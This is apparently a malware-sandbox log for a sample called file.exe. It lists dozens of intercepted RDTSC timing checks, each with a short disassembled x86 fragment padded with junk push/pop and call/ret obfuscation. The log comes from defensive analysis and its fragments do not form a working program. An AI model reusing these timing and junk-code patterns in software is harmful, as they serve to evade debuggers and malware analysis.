Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC30A second address: 6BC31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 je 00007F6254B873ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2CE9 second address: 6C2CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3D46 second address: 6C3D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F6254B873E8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 jne 00007F6254B873E6h 0x0000002b push 00000000h 0x0000002d add ebx, dword ptr [ebp+122D20AEh] 0x00000033 push 00000000h 0x00000035 jmp 00007F6254B873ECh 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e push ebx 0x0000003f pop ebx 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3D90 second address: 6C3D9A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6254D230BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3D9A second address: 6C3DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F6254B873F9h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5E0D second address: 6C5E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A477 second address: 66A495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F5h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF003 second address: 6BF009 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A495 second address: 66A4B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6254B873F5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3F01 second address: 6C3F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C643A second address: 6C6454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C73BE second address: 6C73C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C73C2 second address: 6C740D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jp 00007F6254B873ECh 0x0000000f push 00000000h 0x00000011 stc 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F6254B873E8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1E70h], ebx 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C740D second address: 6C741B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F6254D230B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C75E8 second address: 6C75F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F6254B873ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C75F6 second address: 6C7613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jng 00007F6254D230B6h 0x0000000e jo 00007F6254D230B6h 0x00000014 popad 0x00000015 jc 00007F6254D230BCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9381 second address: 6C938B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6254B873E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C938B second address: 6C93C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c mov edx, dword ptr [ebp+122D33EDh] 0x00000012 sub ax, EF8Fh 0x00000017 popad 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b mov bh, 8Bh 0x0000001d pop edi 0x0000001e push 00000000h 0x00000020 xor dword ptr [ebp+122D3315h], eax 0x00000026 stc 0x00000027 push eax 0x00000028 ja 00007F6254D230D0h 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F6254D230BEh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C93C9 second address: 6C93CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA584 second address: 6CA588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C95A9 second address: 6C95AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB3E5 second address: 6CB3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB3E9 second address: 6CB3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB3ED second address: 6CB40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6254D230C4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF490 second address: 6CF4F9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6254B873FDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F6254B873EFh 0x00000010 nop 0x00000011 mov bx, CCE6h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F6254B873E8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov ebx, dword ptr [ebp+122D20B4h] 0x00000039 xchg eax, esi 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF4F9 second address: 6CF518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push ebx 0x0000000c jl 00007F6254D230BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D05CB second address: 6D05CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D05CF second address: 6D05D9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6254D230B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D05D9 second address: 6D05DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD426 second address: 6CD437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jng 00007F6254D230B6h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD437 second address: 6CD445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE5D5 second address: 6CE5D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE6C0 second address: 6CE6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D14DB second address: 6D14E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D14E1 second address: 6D14E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB661 second address: 6CB667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D14E6 second address: 6D1594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F6254B873E8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F6254B873E8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000019h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 mov edi, dword ptr [ebp+122D3BC4h] 0x00000048 push 00000000h 0x0000004a push 00000000h 0x0000004c push edi 0x0000004d call 00007F6254B873E8h 0x00000052 pop edi 0x00000053 mov dword ptr [esp+04h], edi 0x00000057 add dword ptr [esp+04h], 00000018h 0x0000005f inc edi 0x00000060 push edi 0x00000061 ret 0x00000062 pop edi 0x00000063 ret 0x00000064 mov dword ptr [ebp+1248A371h], esi 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F6254B873F8h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1594 second address: 6D15A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254D230BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2738 second address: 6D273E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D273E second address: 6D2742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D171F second address: 6D174C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6254B873E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jp 00007F6254B873FCh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2742 second address: 6D2767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6254D230C9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D174C second address: 6D1750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67944F second address: 679458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679458 second address: 679488 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F6254B873E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F6254B873FFh 0x00000012 jmp 00007F6254B873F9h 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBC4F second address: 6DBC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230BEh 0x00000009 popad 0x0000000a jc 00007F6254D230C2h 0x00000010 jp 00007F6254D230B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBD85 second address: 6DBD95 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6254B873E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBD95 second address: 6DBD99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBD99 second address: 6DBDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6254B873E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC036 second address: 6DC040 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6254D230B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC040 second address: 6DC046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1C1D second address: 6E1C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1CC5 second address: 6E1CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F6254B873EEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1EA0 second address: 4FED4E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 xor dword ptr [esp], 1A3928C1h 0x0000000e cld 0x0000000f push dword ptr [ebp+122D0049h] 0x00000015 cmc 0x00000016 call dword ptr [ebp+122D1D6Bh] 0x0000001c pushad 0x0000001d pushad 0x0000001e mov dx, C5F3h 0x00000022 jmp 00007F6254D230C9h 0x00000027 popad 0x00000028 xor eax, eax 0x0000002a mov dword ptr [ebp+122D28ABh], edx 0x00000030 jns 00007F6254D230C0h 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a jnc 00007F6254D230BCh 0x00000040 mov dword ptr [ebp+122D39A8h], eax 0x00000046 jmp 00007F6254D230C5h 0x0000004b mov esi, 0000003Ch 0x00000050 mov dword ptr [ebp+122D29EDh], ecx 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a or dword ptr [ebp+122D28ABh], edi 0x00000060 lodsw 0x00000062 jnl 00007F6254D230BDh 0x00000068 cmc 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d jmp 00007F6254D230C1h 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 pushad 0x00000077 xor bx, 0D58h 0x0000007c jno 00007F6254D230B7h 0x00000082 popad 0x00000083 nop 0x00000084 push eax 0x00000085 push edx 0x00000086 jg 00007F6254D230B8h 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3215 second address: 6E321A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E321A second address: 6E3224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6254D230B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3224 second address: 6E323A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9372 second address: 6E9386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9386 second address: 6E9390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6254B873E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BE74 second address: 66BE8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6254D230BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BE8C second address: 66BE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BE90 second address: 66BEAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8633 second address: 6E8654 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F6h 0x00000007 push edi 0x00000008 jnp 00007F6254B873E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8654 second address: 6E8683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F6254D230C9h 0x0000000d ja 00007F6254D230C2h 0x00000013 jbe 00007F6254D230B6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8683 second address: 6E868A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E868A second address: 6E8690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E87ED second address: 6E87F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E87F4 second address: 6E8802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jnc 00007F6254D230B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8941 second address: 6E8945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8945 second address: 6E8962 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6254D230C7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8962 second address: 6E8978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8ACC second address: 6E8AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230C5h 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9229 second address: 6E922F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC546 second address: 6EC54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC54C second address: 6EC555 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC555 second address: 6EC599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230BFh 0x00000009 push edi 0x0000000a pop edi 0x0000000b jnp 00007F6254D230B6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 jc 00007F6254D230F9h 0x0000001a pushad 0x0000001b push eax 0x0000001c pop eax 0x0000001d jmp 00007F6254D230C9h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF052 second address: 6EF05E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6254B873E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF05E second address: 6EF062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F076C second address: 6F077E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F6254B873F2h 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4C53 second address: 6F4C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF902 second address: 6BF96E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F6254B873E8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 call 00007F6254B873F2h 0x00000029 mov ecx, dword ptr [ebp+122D2A98h] 0x0000002f pop ecx 0x00000030 mov edx, ebx 0x00000032 lea eax, dword ptr [ebp+12494626h] 0x00000038 nop 0x00000039 pushad 0x0000003a jmp 00007F6254B873EDh 0x0000003f push edi 0x00000040 pushad 0x00000041 popad 0x00000042 pop edi 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jp 00007F6254B873E8h 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF96E second address: 6BF974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF974 second address: 6BF978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF978 second address: 6BF97C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
